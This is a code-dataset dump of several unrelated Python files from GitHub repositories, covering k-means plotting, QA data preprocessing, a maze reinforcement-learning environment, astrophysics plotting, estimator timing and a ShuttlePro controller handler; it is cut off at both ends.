Reconstruction Error', fontsize=14, fontweight='bold')\nax = fig.add_subplot(111)\nax.set_ylabel('Reconstruction Quality (Euclidean distance from original)')\nax.set_xlabel('Clusters')\n\nfor x in range(len(count)):\n\tax.plot(count[x], data[x])\nplt.savefig('result.png')\nplt.show()\n'''\nfig = plt.figure()\nfig.suptitle('Archetypal Datasets', fontsize=14, fontweight='bold')\nax = fig.add_subplot(111)\nax.set_ylabel('Reconstruction Quality (Euclidean distance from original)')\nax.set_xlabel('Clusters')\nfor x in range(0, len(count), 11):\n\tax.plot(count[x], data[x])\nplt.savefig('Archetypal.png')\nplt.show()\n\n\n\nprint(ch)\nprint(si)\nprint(dv)","repo_name":"adroitous/kmeanexperiments","sub_path":"resultanalysis.py","file_name":"resultanalysis.py","file_ext":"py","file_size_in_byte":1518,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"23081162324","text":"import os\nimport re\nimport json\nimport math\nfrom collections import Counter\n\nimport jieba\nimport numpy as np\nfrom tqdm import tqdm\n\n\ndef precision_recall_f1(prediction, ground_truth):\n \"\"\"\n 计算precision, recall, f1\n :param prediction:\n :param ground_truth:\n :return:\n \"\"\"\n if not isinstance(prediction, list):\n prediction_tokens = prediction.split()\n else:\n prediction_tokens = prediction\n if not isinstance(ground_truth, list):\n ground_truth_tokens = ground_truth.split()\n else:\n ground_truth_tokens = ground_truth\n common = Counter(prediction_tokens) & Counter(ground_truth_tokens)\n num_same = sum(common.values())\n if num_same == 0:\n return 0, 0, 0\n p = 1.0 * num_same / len(prediction_tokens)\n r = 1.0 * num_same / len(ground_truth_tokens)\n f1 = (2 * p * r) / (p + r)\n return p, r, f1\n\n\ndef recall(prediction, ground_truth):\n return precision_recall_f1(prediction, ground_truth)[1]\n\n\ndef f1_score(prediction, ground_truth):\n return precision_recall_f1(prediction, ground_truth)[2]\n\n\ndef metric_max_over_ground_truths(metric_fn, prediction, ground_truth):\n score = metric_fn(prediction, ground_truth)\n return score\n\n\ndef find_fake_answer(sample):\n \"\"\"\n 找到最相关的段落和在段落中的位置\n :param sample:\n :return:\n \"\"\"\n for a_idx, answer_token in enumerate(sample['questions']):\n most_related_para = -1\n most_related_para_len = 999999\n max_related_score = 0\n # print('a_idx=',a_idx, 'answer_token=',answer_token)\n for p_idx, para_tokens in enumerate(sample['segmented_article_content']):\n related_score = metric_max_over_ground_truths(recall,\n para_tokens,\n answer_token['segmented_answer'])\n # print('p_idx=',p_idx,'related_score=',related_score)\n if related_score > max_related_score \\\n or (related_score == max_related_score\n and len(para_tokens) < most_related_para_len):\n most_related_para = p_idx\n most_related_para_len = len(para_tokens)\n max_related_score = related_score\n sample['questions'][a_idx]['most_related_para'] = most_related_para\n most_related_para_tokens = sample['segmented_article_content'][most_related_para]\n\n answer_tokens = set(answer_token['segmented_answer'])\n best_match_score = 0\n best_match_span = [-1, -1]\n best_fake_answer = None\n\n for start_tidx in range(len(most_related_para_tokens)):\n if most_related_para_tokens[start_tidx] not in answer_tokens:\n continue\n for end_tidx in range(len(most_related_para_tokens) - 1, start_tidx - 1, -1):\n span_tokens = most_related_para_tokens[start_tidx: end_tidx + 1]\n match_score = metric_max_over_ground_truths(f1_score, span_tokens,\n answer_token['segmented_answer'])\n if match_score == 0:\n break\n if match_score > best_match_score:\n best_match_span = [start_tidx, end_tidx]\n best_match_score = match_score\n best_fake_answer = ''.join(span_tokens)\n sample['questions'][a_idx]['answer_spans'] = best_match_span\n sample['questions'][a_idx]['fake_answers'] = best_fake_answer\n sample['questions'][a_idx]['match_scores'] = best_match_score\n return sample\n\n\ndef find_best_question_match(doc, question, with_score=False):\n \"\"\"\n 找到和问题最相关的段落\n :param doc:\n :param question:\n :param with_score:\n :return:\n \"\"\"\n most_related_para = -1\n max_related_score = 0\n most_related_para_len = 0\n\n for p_idx, para_tokens in enumerate(doc['segmented_article_content']):\n related_score = metric_max_over_ground_truths(recall, para_tokens, question['segmented_question'])\n\n if related_score > max_related_score \\\n or (related_score == max_related_score and len(para_tokens) < most_related_para_len):\n most_related_para = p_idx\n max_related_score = related_score\n most_related_para_len = len(para_tokens)\n\n if most_related_para == -1:\n most_related_para = 0\n\n if with_score:\n return most_related_para, max_related_score\n return most_related_para\n\n\ndef clean_data(sample, train_set=True):\n # 文章内容和标题分段->分词:将标题插入到分段后的首位置\n sample['segmented_article_title'] = \\\n list(jieba.cut(''.join(re.split(r'\\u3000+|\\s+|\\t+', sample['article_title'].strip()))))\n\n sample_splited_para = re.split(r'\\u3000+|\\s+|\\t+', sample['article_content'].strip())\n if len(sample_splited_para) == 1 and len(sample_splited_para[0]) > 400:\n sample_splited_para = re.split(r'\\。', sample['article_content'].strip())\n sample_splited_list = []\n for para in sample_splited_para:\n sample_splited_list.append(list(jieba.cut(para.strip(), cut_all=False)))\n sample_splited_list.insert(0, sample['segmented_article_title'])\n\n sample['segmented_article_content'] = sample_splited_list\n\n # 问题和答案分词处理\n for i, question in enumerate(sample['questions']):\n sample['questions'][i]['segmented_question'] = \\\n list(jieba.cut(''.join(question['question'].strip().split('\\u3000+|\\s+|\\t+'))))\n if train_set:\n sample['questions'][i]['segmented_answer'] = \\\n list(jieba.cut(''.join(question['answer'].strip().split('\\u3000+|\\s+|\\t+'))))\n return sample\n\n\ndef process_train_data(file_path, start=0, end=-1):\n def save(data, i):\n with open('../../data/temp_data/preprocessed_%d.json' % i, 'w', encoding='utf-8') as f:\n json.dump(data, f)\n\n data_set = load_data_set(file_path)\n data_length = len(data_set)\n data_preprocessed = []\n for i, sample in enumerate(data_set[start: end]):\n if (i % 100 == 0 and i != 0) or i == data_length:\n print(i + start)\n save(data_preprocessed, math.ceil((i + start) / 100))\n data_preprocessed = []\n\n sample_preprocessed = find_fake_answer(clean_data(sample))\n data_preprocessed.append(sample_preprocessed)\n\n\ndef process_test_data(file_path='../../data/raw_data/question.json', split_word=False):\n \"\"\"\n 处理测试数据\n :param file_path:\n :param split_word:\n :return:\n \"\"\"\n data_set = load_data_set(file_path)\n data_preprocessed = []\n\n for s_idx, doc in enumerate(data_set):\n if s_idx/100 == 0:\n print(\"processed {},total {}\".format(s_idx, len(data_set)))\n if split_word:\n doc = clean_data(doc, train_set=False)\n\n for q_idx, question in enumerate(doc['questions']):\n most_related_para = find_best_question_match(doc, question)\n doc['questions'][q_idx]['most_related_para'] = most_related_para\n data_preprocessed.append(doc)\n\n save_data(data_preprocessed, '../../data/temp_data/testset.json')\n\n # return data_preprocessed\n\n\ndef store_prerpocess_data(start, end):\n preprocessed_data = []\n for i in range(1, 201):\n with open('../../data/preprocessed_%d.json' % i, 'r', encoding='utf-8') as f:\n d = json.load(f)\n preprocessed_data.extend(d)\n with open('../../data/preprocessed.json', 'w', encoding='utf-8') as f:\n json.dump(preprocessed_data, f)\n\n\ndef load_data_set(file_path):\n with open(file_path, 'r', encoding='utf-8') as f:\n data_set = json.loads(f.read())\n return data_set\n\n\ndef save_data(data, path):\n with open(path, 'w') as f:\n json.dump(data, f, ensure_ascii=False)\n\n\ndef remove_duplicates(data_preprocessed, store_path='../../data'):\n \"\"\"\n 原始数据集中有重复的文章,根据标题去重\n :return:\n \"\"\"\n title_set = set()\n data_qc = []\n for sample in data_preprocessed:\n title = sample['article_title']\n if title in title_set:\n continue\n else:\n title_set.add(title)\n data_qc.append(sample)\n save_data(data_qc, os.path.join(store_path, 'preprocessed.json'))\n\n\ndef train_test_split(data_path, train_percent=0.9, store_path='../../data'):\n \"\"\"\n 切分训练集,测试集\n :param data_path:\n :param train_percent:\n :param store_path:\n :return:\n \"\"\"\n dataset = load_data_set(data_path)\n\n index = np.arange(len(dataset))\n np.random.shuffle(index)\n\n train_size = int(len(dataset) * train_percent)\n train_index = index[:train_size]\n test_index = index[train_size:]\n train_set, test_set = [], []\n for index in train_index:\n train_set.append(dataset[index])\n for index in test_index:\n test_set.append(dataset[index])\n\n save_data(train_set, os.path.join(store_path, 'trainset.json'))\n save_data(test_set, os.path.join(store_path, 'testset.json'))\n\n\nif __name__ == '__main__':\n # run_preprocess('../../data/question.json', start=19900, end=20000)\n # train_test_split(os.path.join('F:\\\\jupyter_file\\\\MC\\\\data', 'preprocessed_qc.json'))\n process_test_data(split_word=True)\n","repo_name":"miaomiaoliyi/MC","sub_path":"les_project/utils/preprocess.py","file_name":"preprocess.py","file_ext":"py","file_size_in_byte":9359,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"} +{"seq_id":"35936841795","text":"from math import factorial\r\nfrom itertools import permutations\r\nfrom time import perf_counter\r\n\r\n\r\ndef brute(word):\r\n a = [\"\".join(i) for i in sorted(set(permutations(word)))]\r\n return a.index(word) + 1\r\n\r\n\r\ndef elegant(word):\r\n repetitions = [factorial(word.count(i)) for i in set(word)]\r\n q = 1\r\n for c in repetitions:\r\n q *= c\r\n total_words = factorial(len(word)) / q\r\n\r\n accum = 0\r\n multipliers = [factorial(i) for i in range(len(word) - 1, 0, -1)] + [0]\r\n remaining_letters = sorted(word)\r\n\r\n # adding positions\r\n for k, w in enumerate(word):\r\n value = remaining_letters.index(w)\r\n accum += value * multipliers[k]\r\n remaining_letters.remove(w)\r\n\r\n # substracting positions for repeated letters\r\n\r\n return accum + 1\r\n\r\n\r\nfor s in permutations(sorted(\"book\")):\r\n # start = perf_counter()\r\n print(\"brute/elegant:\", s, brute(\"\".join(s)), elegant(\"\".join(s)))\r\n # print(perf_counter() - start)\r\n\r\n # start = perf_counter()\r\n # print(\"elegant:\", elegant(s))\r\n # print(perf_counter() - start)\r\n","repo_name":"gfreundt/pythonCode","sub_path":"Codewars/alphabeticanagrams2.py","file_name":"alphabeticanagrams2.py","file_ext":"py","file_size_in_byte":1077,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"11143302787","text":"import numpy\nimport time\nimport gym\nfrom gym.spaces import Box\nimport copy\nfrom gym.envs.registration import EnvSpec\nfrom gym import spaces\nfrom gym.envs.classic_control import rendering\nimport numpy as np\nfrom gym.utils import seeding\nimport pickle\nimport os.path\n\n\ndef isBlack(x):\n return x.vec4[0]+x.vec4[1]<=0.1\ndef generateMaze(size): # 1 = obstacle, 0 = blank\n path = 'maze%d.txt'%size\n if (os.path.isfile(path)):\n return pickle.load(open(path, 'rb'))\n ans = numpy.zeros([size, size])\n\n def _gen(top, bot, left, right):\n if (left + 1 >= right or top + 1 >= bot):\n return\n mid = [numpy.random.choice(numpy.arange(top + 1, bot)), numpy.random.choice(numpy.arange(left + 1, right))]\n if (left + 1 < right):\n ans[top:bot, mid[1]] = 1\n ans[numpy.random.choice(numpy.arange(top, mid[0])), mid[1]] = 0\n ans[numpy.random.choice(numpy.arange(mid[0], bot)), mid[1]] = 0\n if (top + 1 < bot):\n ans[mid[0], left:right] = 1\n ans[mid[0], numpy.random.choice(numpy.arange(left, mid[1]))] = 0\n ans[mid[0], numpy.random.choice(numpy.arange(mid[1], right))] = 0\n\n _gen(top, mid[0] - 1, left, mid[1] - 1)\n _gen(mid[0] + 1, bot, left, mid[1] - 1)\n _gen(top, mid[0] - 1, mid[1] + 1, right)\n _gen(mid[0] + 1, bot, mid[1] + 1, right)\n\n _gen(0, size, 0, size)\n pickle.dump(ans, open(path, 'wb'))\n return ans\n\ndef generateAG(map, goalSize,agentSize, goalPos=None, agentPos=None):\n if(goalPos!=None):\n return numpy.array([goalPos]), numpy.array([agentPos])\n goods = numpy.argwhere(map == 0)\n goals = goods[numpy.random.choice(len(goods), size=goalSize+agentSize, replace=False)]\n return goals[:goalSize], goals[goalSize:]\n\n\nclass gameGUI(gym.Env):\n def __init__(self, totalSize, cellSize, goalSize,agentSize,repr, vision=-1, title=''):\n self.timeFrame = 0\n self.repr=repr\n self.num_envs=1\n self.maxFrame = totalSize * totalSize * goalSize * 2\n self.totalSize = totalSize\n self.vision = vision\n self.cellSize = cellSize\n self.goalSize = goalSize\n self.agentSize= agentSize\n self.is_single = 0\n self.viewer = None\n self.trace=numpy.zeros([totalSize,totalSize])\n self.obstacles = numpy.zeros([totalSize, totalSize]).astype(numpy.int32)\n self.agents = numpy.zeros([self.agentSize, 2]).astype(numpy.int32)\n self.goals = numpy.zeros([self.goalSize, 2]).astype(numpy.int32)\n self.goal_places = numpy.zeros([totalSize, totalSize]).astype(numpy.int32)\n self.goal_reached=numpy.zeros([self.goalSize])\n self.agent_places = numpy.zeros([totalSize, totalSize]).astype(numpy.int32)\n if (self.is_single):\n self.action_space = self.repr.action_space[0]\n self.observation_space=self.repr.observation_space[0]\n else:\n self.action_space = [self.repr.action_space[1] for i in range(self.agentSize)]\n self.observation_space = [self.repr.observation_space[1] for i in range(self.agentSize)]\n self.seed()\n\n def seed(self, seed=None):\n self.np_random, seed = seeding.np_random(seed)\n return [seed]\n\n def _updateBG(self):\n if (self.vision == -1):\n return\n for i in range(self.totalSize):\n for j in range(self.totalSize):\n inSight = 0\n for k in range(self.agentSize):\n if (abs(i - self.agents[k][0]) <= self.vision and abs(j - self.agents[k][1]) <= self.vision):\n inSight = 1\n if (isBlack(self.backGeom[i][j]._color)==False):\n if (inSight == 1):\n self.backGeom[i][j].set_color(1.0, 1.0, 1.0)\n else:\n self.backGeom[i][j].set_color(0.5,0.5,0.5)\n\n def _fillSquare(self, left, top, color):\n length = self.cellSize\n left *= self.cellSize\n top *= self.cellSize\n x = rendering.FilledPolygon(\n [(left, top), (left + length, top), (left + length, top + length), (left, top + length)])\n x.set_color(color[0] / 255.0, color[1] / 255.0, color[2] / 255.0)\n self.viewer.add_geom(x)\n return x\n\n def _updateGeom(self, geom, ob):\n try:\n top, left = ob[0], ob[1]\n top *= self.cellSize\n left *= self.cellSize\n length = self.cellSize\n geom.v = ([(left, top), (left + length, top), (left + length, top + length), (left, top + length)])\n except:\n pass\n def render(self):\n if (self.viewer == None):\n self.viewer = rendering.Viewer(self.totalSize * self.cellSize * 3, self.totalSize * self.cellSize * 2)\n self.agentGeom = [None for i in range(self.agentSize)]\n self.goalGeom = [None for i in range(self.goalSize)]\n self.trailGeom = [[[None for i in range(4)] for j in range(self.totalSize)] for k in range(self.totalSize)]\n self.backGeom = [[None for i in range(self.totalSize)] for j in range(self.totalSize)]\n for i in range(self.totalSize):\n for j in range(self.totalSize):\n if (self.obstacles[i][j] == 1):\n self.backGeom[i][j] = self._fillSquare(j, i, (0, 0, 0))\n else:\n self.backGeom[i][j] = self._fillSquare(j, i, (255,255,255))\n for i in range(self.goalSize):\n self.goalGeom[i] = self._fillSquare(self.goals[i][1], self.goals[i][0], (0, 255, 0))\n\n for i in range(self.agentSize):\n self.agentGeom[i] = self._fillSquare(self.agents[i][1], self.agents[i][0], (255.0, 0, 0))\n\n for i in range(self.totalSize):\n for j in range(self.totalSize):\n for k in range(4):\n self.trailGeom[i][j][k] = self._fillSquare(j+self.totalSize*((k+1)%3), i+self.totalSize*((k+1)//3), (255, 255, 255))\n for i in range(1,3):\n l=rendering.Line((i*self.totalSize*self.cellSize,0),\n (i*self.totalSize*self.cellSize,2*self.totalSize*self.cellSize))\n l.set_color(1,0,0)\n self.viewer.add_geom(l)\n l=rendering.Line((0,self.totalSize*self.cellSize),\n (3*self.totalSize*self.cellSize,self.totalSize*self.cellSize))\n l.set_color(1, 0, 0)\n self.viewer.add_geom(l)\n\n\n if(hasattr(self.repr,'trail')):\n maxt=numpy.amax(self.repr.trail)+1e-6\n mint=numpy.amin(self.repr.trail)\n for i in range(self.totalSize):\n for j in range(self.totalSize):\n for k in range(self.repr.trailSize):\n self.trailGeom[i][j][k].set_color((self.repr.trail[i, j, k] - mint) / (maxt - mint),\n (self.repr.trail[i, j, k] - mint) / (maxt - mint),\n (self.repr.trail[i, j, k] - mint) / (maxt - mint))\n\n\n for i in range(len(self.agents)):\n self._updateGeom(self.agentGeom[i], self.agents[i])\n for i in range(len(self.goals)):\n self._updateGeom(self.goalGeom[i], self.goals[i])\n self._updateBG()\n return self.viewer.render(return_rgb_array=0)\n\n def markAgents(self):\n self.agent_places = numpy.zeros([self.totalSize, self.totalSize]).astype(numpy.int32)\n for i in range(len(self.agents)):\n self.agent_places[self.agents[i, 0], self.agents[i, 1]] = 1\n\n def hot_agent(self, ind):\n if(self.vision==-1):\n ans = numpy.zeros([self.totalSize, self.totalSize]).astype(numpy.int32)\n ans[self.agents[ind][0], self.agents[ind][1]] = 1\n return ans\n else:\n ans=numpy.zeros([self.vision*2+1,self.vision*2+1]).astype(numpy.int32)\n ans[self.vision,self.vision]=1\n return ans\n\n def all_agent(self,k):\n #print(self.agents,k,self.agentSize)\n if(self.vision==-1):\n ans = numpy.zeros([self.totalSize, self.totalSize]).astype(numpy.int32)\n for ind in range(self.agentSize):\n if(k!=ind):\n ans[self.agents[ind][0], self.agents[ind][1]] = 1\n return ans\n else:\n ans=numpy.zeros([self.vision*2+1,self.vision*2+1]).astype(numpy.int32)\n for ind in range(self.agentSize):\n if(k!=ind):\n if (abs(self.agents[ind][0] - self.agents[k][0]) <= self.vision and\n abs(self.agents[ind][1] - self.agents[k][1]) <= self.vision):\n ans[self.agents[ind][0] - self.agents[k][0]+self.vision, self.agents[ind][1] - self.agents[k][1]+self.vision]=1\n return ans\n\n def _get_obs(self):\n if(self.is_single):\n return self.repr.single_repr(self)\n else:\n return [self.repr.multiple_repr(self,i) for i in range(self.agentSize)]\n\n def reset(self, goalPos=None, agentPos=None):\n self.timeFrame = 0\n self.agents = numpy.zeros([self.agentSize, 2]).astype(numpy.int32)\n self.goals = numpy.zeros([self.goalSize, 2]).astype(numpy.int32)\n self.obstacles = numpy.zeros([self.totalSize, self.totalSize]).astype(numpy.int32)\n self.goal_places = numpy.zeros([self.totalSize, self.totalSize]).astype(numpy.int32)\n self.agent_places = numpy.zeros([self.totalSize, self.totalSize]).astype(numpy.int32)\n self.goal_reached=numpy.zeros([self.goalSize]).astype(numpy.int32)\n self.obstacles = generateMaze(self.totalSize)\n self.goals, self.agents = generateAG(self.obstacles, self.goalSize,self.agentSize,goalPos=goalPos,agentPos=agentPos)\n self.markAgents()\n\n self.last_reward=0\n if (self.viewer):\n self.viewer.close()\n self.viewer = None\n self.tviewer=None\n for i in self.goals:\n self.goal_places[i[0]][i[1]] = 1\n #self.repr.trail*=0.9\n return self._get_obs()\n\n def step(self, actions,vals=None):\n if (self.is_single):\n actions = [actions]\n old_pos=copy.deepcopy(self.agents)\n newval=[]\n for i in range(len(actions)):\n if(type(actions[i])==numpy.int64): #action in {0,1,2,3}\n if (actions[i] == 0 and self.agents[i][0] != 0): # up\n if (self.obstacles[self.agents[i][0] - 1][self.agents[i][1]] != 1):\n self.agents[i][0] -= 1\n elif (actions[i] == 1 and self.agents[i][1] != 0): # left\n if (self.obstacles[self.agents[i][0]][self.agents[i][1] - 1] != 1):\n self.agents[i][1] -= 1\n elif (actions[i] == 2 and self.agents[i][1] != self.totalSize - 1): # right\n if (self.obstacles[self.agents[i][0]][self.agents[i][1] + 1] != 1):\n self.agents[i][1] += 1\n elif (actions[i] == 3 and self.agents[i][0] != self.totalSize - 1): # down\n if (self.obstacles[self.agents[i][0] + 1][self.agents[i][1]] != 1):\n self.agents[i][0] += 1\n elif(isinstance(actions[i],(tuple,list))==True):#action=(move,val)\n if (actions[i][0] == 0 and self.agents[i][0] != 0): # up\n if (self.obstacles[self.agents[i][0] - 1][self.agents[i][1]] != 1):\n self.agents[i][0] -= 1\n elif (actions[i][0] == 1 and self.agents[i][1] != 0): # left\n if (self.obstacles[self.agents[i][0]][self.agents[i][1] - 1] != 1):\n self.agents[i][1] -= 1\n elif (actions[i][0] == 2 and self.agents[i][1] != self.totalSize - 1): # right\n if (self.obstacles[self.agents[i][0]][self.agents[i][1] + 1] != 1):\n self.agents[i][1] += 1\n elif (actions[i][0] == 3 and self.agents[i][0] != self.totalSize - 1): # down\n if (self.obstacles[self.agents[i][0] + 1][self.agents[i][1]] != 1):\n self.agents[i][0] += 1\n newval.append([actions[i][1:]])\n self.markAgents()\n if(vals!=None):\n self.repr.step(old_pos,actions,self.agents[:],vals)\n else:\n self.repr.step(old_pos,actions,self.agents,newval)\n reward = -float(self.goalSize)/self.maxFrame\n\n self.timeFrame += 1\n for i in range(len(self.goals)):\n if (self.agent_places[self.goals[i][0], self.goals[i][1]] == 1):\n reward += self.goal_reached[i]==0\n self.goal_reached[i]=1\n done = (numpy.sum(self.goal_reached)== self.goalSize or self.timeFrame >= self.maxFrame)\n #self.last_reward=reward\n return self._get_obs(), reward, done, {}\n","repo_name":"RikonYu/898Project","sub_path":"gui.py","file_name":"gui.py","file_ext":"py","file_size_in_byte":13026,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"3240289827","text":"import pytest\n\nfrom algorithm import get_unique_char\n\n\ntext_example_1 = (\n '''\n The Tao gave birth to machine language. Machine language gave birth\n to the assembler.\n The assembler gave birth to the compiler. Now there are ten thousand\n languages.\n Each language has its purpose, however humble. Each language\n expresses the Yin and Yang of software. Each language has its place within\n the Tao.\n But do not program in COBOL if you can avoid it.\n -- Geoffrey James, \"The Tao of Programming\"\n ''', \n 'm'\n)\n\ntext_example_2 = (\n '''\n C makes it easy for you to shoot yourself in the foot. \n C++ makes that harder, but when you do, it blows away your whole leg. (c) Bjarne Stroustrup\n ''',\n 'e'\n)\n\ntext_example_3 = (\n '''\n CCCC ccc c c c c c. \\n\\n\\n\\t\\t\n SsSsSsSs (SsS) (sSs)\n\n ''', \n ''\n)\n\n\ndef test_get_unique_char(): \n assert get_unique_char(text_example_1[0]) == text_example_1[1]\n assert get_unique_char(text_example_2[0]) == text_example_2[1]\n assert get_unique_char(text_example_3[0]) == text_example_3[1]\n\n\ndef test_get_unique_char_with_bad_argument(): \n with pytest.raises(TypeError):\n get_unique_char(123)\n get_unique_char([123, 123, 123])\n get_unique_char(None) \n","repo_name":"Di-peep/tt-2023-prtn","sub_path":"test_algorithm.py","file_name":"test_algorithm.py","file_ext":"py","file_size_in_byte":1293,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"72529479593","text":"\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom scipy.ndimage.filters import gaussian_filter1d\n\nfilename = './OutXX/G-0.002499.bin'\nfilename = './OutXX/G-0.000200.bin'\n\nUnit_u_in_cgs = 1.0324E+12\nUnitDensity_in_cgs = 1.624E-24\nunitVelocity_in_cm_per_s = 1016080.02\n\ndef loadArraysFromBinary(filename):\n with open(filename, \"rb\") as file:\n # Read N\n N = np.fromfile(file, dtype=np.int32, count=1)[0]\n\n # Create arrays for each of the data types\n Typ = np.fromfile(file, dtype=np.int32, count=N)\n x = np.fromfile(file, dtype=np.float32, count=N)\n y = np.fromfile(file, dtype=np.float32, count=N)\n z = np.fromfile(file, dtype=np.float32, count=N)\n vx = np.fromfile(file, dtype=np.float32, count=N)\n vy = np.fromfile(file, dtype=np.float32, count=N)\n vz = np.fromfile(file, dtype=np.float32, count=N)\n rho = np.fromfile(file, dtype=np.float32, count=N)\n h = np.fromfile(file, dtype=np.float32, count=N)\n u = np.fromfile(file, dtype=np.float32, count=N)\n mass = np.fromfile(file, dtype=np.float32, count=N)\n\n return N, Typ, x, y, z, vx, vy, vz, rho, h, u, mass\n\n# Usage\nN, Typ, x, y, z, vx, vy, vz, rho, h, u, mass = loadArraysFromBinary(filename)\n\nnn = np.where(u != 0.0)[0]\n\nx = x[nn]\ny = y[nn]\nz = z[nn]\n\nvx = vx[nn]\nvy = vy[nn]\nvz = vz[nn]\n\n# 1. Calculate the distance of each particle from the center\ndistances = np.sqrt(x**2 + y**2 + z**2)\n\n# 2. Calculate the radial velocity for each particle\n# First, compute the normalized position vectors\nnorm_positions = np.vstack([x, y, z]).T\nnorm_positions /= distances[:, np.newaxis]\n\n# Radial velocity is the dot product of velocity and normalized position\nradial_velocities = np.einsum('ij,ij->i', np.vstack([vx, vy, vz]).T, norm_positions)\n\nradial_velocities = radial_velocities * unitVelocity_in_cm_per_s / 100. / 1000. # in km/s\n\nprint(radial_velocities)\n\n# 3. Plot the radial velocity against the distance\nplt.figure(figsize=(10, 7))\nplt.scatter(distances, radial_velocities, c='blue', alpha=0.5, s = 2)\nplt.title(\"Radial Velocity vs. Distance from Center\")\nplt.xlabel(\"Distance from Center\")\nplt.ylabel(\"Radial Velocity\")\nplt.grid(True)\nplt.show()\n\n\n\n\n\n\n\n\n\n","repo_name":"hassanfv/SPH_2","sub_path":"11_Dec_2022/GPU_sph_Type/300k_experiment/nH_1_LBox_1.17kpc_logL_45/pplot_velocity.py","file_name":"pplot_velocity.py","file_ext":"py","file_size_in_byte":2220,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"2632395470","text":"\"\"\"\ndescription:\n getting output the numbers in the sequence\n\nauthor: Saikat Paul \n\noptional arguments:\n -h, --help show this help message and exit\n -a, --total students 12\n -b, --students group [2, 5]\n \nexample: python assign_a.py 12 [2,5]\n\"\"\"\nimport os\nimport argparse\n\n\nclass ProcessorTask:\n \n def __init__(self):\n self.a = \"\"\n self.b = []\n\n def get_args(self):\n ## get from date arument if exists else current date\n parser = argparse.ArgumentParser()\n parser.add_argument(\"a\", help=\"enter total students i.e 12\",type=int)\n parser.add_argument(\"b\", help=\"enter students group i.e [2,6]\",type=str)\n args = parser.parse_args()\n if args.a is not None:\n self.a = args.a\n if args.b is not None:\n \tb = args.b\n \tself.b = map(int, b.strip('[]').split(',')) \n\n def output_groups(self):\n i = 1\n rolls = []\n output = []\n while i <= self.a:\n \trolls.append(str(i))\n \ti += 1\n rolls.sort()\n\n for i in self.b: \n \ttry:\n \t output.append(int(rolls[i-1]))\n \texcept:\n \t output = \"wrong input\" \n return output\n \n\nif __name__ == \"__main__\":\n ProcessorTask = ProcessorTask()\n ProcessorTask.get_args()\n print(ProcessorTask.output_groups())\n\n","repo_name":"saiky/assign","sub_path":"assign_a.py","file_name":"assign_a.py","file_ext":"py","file_size_in_byte":1368,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"6963693767","text":"import os\nimport time\nimport torch\nimport numpy as np\nfrom learn_placing.common.tools import to_numpy\n\nfrom learn_placing.estimators import PCABaseline, NetEstimator, HoughEstimator\nfrom learn_placing.training.utils import get_dataset, RotRepr, InRot\n\nif __name__ == \"__main__\":\n noise_thresh = 0.15\n\n # load neural net\n trial_path = f\"{os.environ['HOME']}/tud_datasets/batch_trainings/2023.02.24_10-41-09/UPC_v1/UPC_v1_Neps60_static_tactile_2023.02.24_10-41-09\"\n nn = NetEstimator(trial_path)\n\n # create other estimators\n pca = PCABaseline(noise_thresh=noise_thresh)\n hough = HoughEstimator(noise_thresh=noise_thresh, preproc=\"binary\")\n\n nn_times, pca_times, hou_times = [], [], []\n train_l, _, _ = get_dataset(\"upc_cuboid\", nn.params, target_type=InRot.g2o, out_repr=RotRepr.ortho6d, seed=nn.params.dataset_seed, train_ratio=1.0)\n\n with torch.no_grad():\n for batch in train_l:\n for data in zip(*batch):\n mm, Qwg, ft, lbl = data\n\n t = time.time()\n (R_nn, nnth), (nnRerr, nnerr) = nn.estimate_transform(mm, lbl, ft=ft, Qwg=Qwg)\n nn_times.append((time.time()-t)*1e3)\n\n t = time.time()\n (_, pcath), (_, pcaerr) = pca.estimate_transform(*to_numpy(mm, lbl))\n pca_times.append((time.time()-t)*1e3)\n\n t = time.time()\n (_, houth), (_, houerr) = hough.estimate_transform(*to_numpy(mm, lbl))\n hou_times.append((time.time()-t)*1e3)\n\n print(f\"NN {np.mean(nn_times):.2f}ms ± {np.var(nn_times):.3f}\")\n print(f\"HOU {np.nanmean(pca_times):.2f}ms ± {np.nanvar(pca_times):.3f}\")\n print(f\"PCA {np.mean(hou_times):.2f}ms ± {np.var(hou_times):.3f}\")","repo_name":"llach/learn_placing","sub_path":"learn_placing/analysis/test_times.py","file_name":"test_times.py","file_ext":"py","file_size_in_byte":1740,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"} +{"seq_id":"12803175361","text":"import time\nimport struct\nimport logging\nimport ctypes\nfrom rxseq import common\n\nlog = logging.getLogger(__name__)\n\nDEVICES = {\n '0b33:0030': 'shuttlepro'\n}\n\nSHUTTLEPRO_FORMAT = 'bBbBB'\n\nSHUTTLEPRO_BUTTONS = {\n 1 << 0: 'F1',\n 1 << 1: 'F2',\n 1 << 2: 'F3',\n 1 << 3: 'F4',\n 1 << 4: 'F5',\n 1 << 5: 'F6',\n 1 << 6: 'F7',\n 1 << 7: 'F8',\n 1 << 8: 'F9',\n 1 << 9: 'B1',\n 1 << 10: 'B2',\n 1 << 11: 'B3',\n 1 << 12: 'B4',\n 1 << 13: 'M1',\n 1 << 14: 'M2'\n }\n\ndef convert_button_code_to_buttons(value, button_assoc):\n buttons = {}\n for i in range(len(button_assoc)):\n result = (value >> i) & 1 == 1\n if result:\n buttons[button_assoc[1 << i]] = 1\n return buttons\n\n\ndef handle(_, device_state, event):\n now = time.time()\n last_time = common.initialize_default(device_state, 'last_time', now)\n common.initialize_default(device_state, 'last_buttons', set())\n\n (a, b, _, d, e) = struct.unpack(SHUTTLEPRO_FORMAT, event)\n x = e * 256 + d\n\n pos = device_state.pos\n\n jog = 0\n if pos is None:\n pos = b\n elif b != pos:\n jog = ctypes.c_byte(b - pos).value\n pos = b\n\n if jog != 0:\n if now - last_time < 0.2:\n jog *= 2\n device_state.last_time = now\n\n device_state.pos = pos\n\n buttons = convert_button_code_to_buttons(x, SHUTTLEPRO_BUTTONS)\n\n remove_buttons = device_state.last_buttons - buttons.keys()\n add_buttons = 